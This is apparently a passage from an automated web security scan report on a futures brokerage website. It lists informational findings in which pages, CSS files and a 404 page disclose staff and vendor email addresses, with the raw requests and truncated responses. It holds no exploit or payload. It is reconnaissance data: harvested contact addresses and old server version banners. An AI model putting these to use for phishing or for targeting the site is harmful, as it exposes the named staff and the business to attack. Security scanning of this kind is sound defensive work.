X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 24511

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.57. http://www.transworldfutures.com/best_direct_web.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/best_direct_web.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /best_direct_web.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 22246

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.58. http://www.transworldfutures.com/commission_rates.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/commission_rates.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
rob@transworldfutures.com

Request

GET /commission_rates.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 57552

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jim@transworldfutures.com,rob@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.59. http://www.transworldfutures.com/commodity-education.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/commodity-education.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /commodity-education.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 21060

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.60. http://www.transworldfutures.com/contactus.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/contactus.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /contactus.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 21379

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="mailto:info@transworldfutures.com">info@transworldfutures.com</a>
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.61. http://www.transworldfutures.com/course_introduction.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/course_introduction.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /course_introduction.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 26876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.62. http://www.transworldfutures.com/css/css.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/css/css.css

Issue detail

The following email addresses were disclosed in the response:

info@webdesignenterprise.com
info@webdesignerexpress.com

Request

GET /css/css.css HTTP/1.1
Host: www.transworldfutures.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:57 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
Last-Modified: Wed, 02 Jun 2010 15:14:00 GMT
ETag: "1a68031-2671-8a1dbe00"
Accept-Ranges: bytes
Content-Length: 9841
Connection: close
Content-Type: text/css

/**
* @author
* GCT Productions Corp and Web Design Enterprise
* Phone Office: (305) 386 - 9003
* Phone Office: (305) 432 - 5115
* Phone Fax: (866) 861 - 7070
* Phone 24/7 Support: (954) 226 - 7412
* Website: www.webdesignerexpress.com and www.webdesignenterprise.com
* E-mail: info@webdesignerexpress.com and info@webdesignenterprise.com
*
* @copyright
* This work is licensed under the Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License.
* To view a copy of this license, visit http://cre
...[SNIP]...

20.63. http://www.transworldfutures.com/css/cssMenu.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/css/cssMenu.css

Issue detail

The following email addresses were disclosed in the response:

info@webdesignenterprise.com
info@webdesignerexpress.com

Request

GET /css/cssMenu.css HTTP/1.1
Host: www.transworldfutures.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:57 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
Last-Modified: Sat, 18 Jul 2009 15:03:46 GMT
ETag: "1a68032-7cc-36243880"
Accept-Ranges: bytes
Content-Length: 1996
Connection: close
Content-Type: text/css

/**
* @author
* GCT Productions Corp and Web Design Enterprise
* Phone Office: (305) 386 - 9003
* Phone Office: (305) 432 - 5115
* Phone Fax: (866) 861 - 7070
* Phone 24/7 Support: (954) 226 - 7412
* Website: www.webdesignerexpress.com and www.webdesignenterprise.com
* E-mail: info@webdesignerexpress.com and info@webdesignenterprise.com
*
* @copyright
* This work is licensed under the Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License.
* To view a copy of this license, visit http://cre
...[SNIP]...

20.64. http://www.transworldfutures.com/currenex.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/currenex.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /currenex.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 24367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.65. http://www.transworldfutures.com/customer_support.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/customer_support.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
rob@transworldfutures.com

Request

GET /customer_support.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 22537

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="rob@transworldfutures.com,jim@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.66. http://www.transworldfutures.com/disaster_recovery.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/disaster_recovery.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /disaster_recovery.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 22668

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.67. http://www.transworldfutures.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/favicon.ico

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
jp@miamiweb.org

Request

GET /favicon.ico HTTP/1.1
Host: www.transworldfutures.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=2354677.1597629200.1315527943.1315527943.1315527943.1; __utmb=2354677.1.10.1315527943; __utmc=2354677; __utmz=2354677.1315527943.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=futures%20trading

Response

HTTP/1.1 404 Not Found
Date: Thu, 08 Sep 2011 19:24:59 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 30405

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image19','','images/freetraders.jpg',1)">
...[SNIP]...
<input type="hidden" value="info@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jp@miamiweb.org" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.68. http://www.transworldfutures.com/first_notice_last_trading_day.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/first_notice_last_trading_day.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /first_notice_last_trading_day.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:46 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 43536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
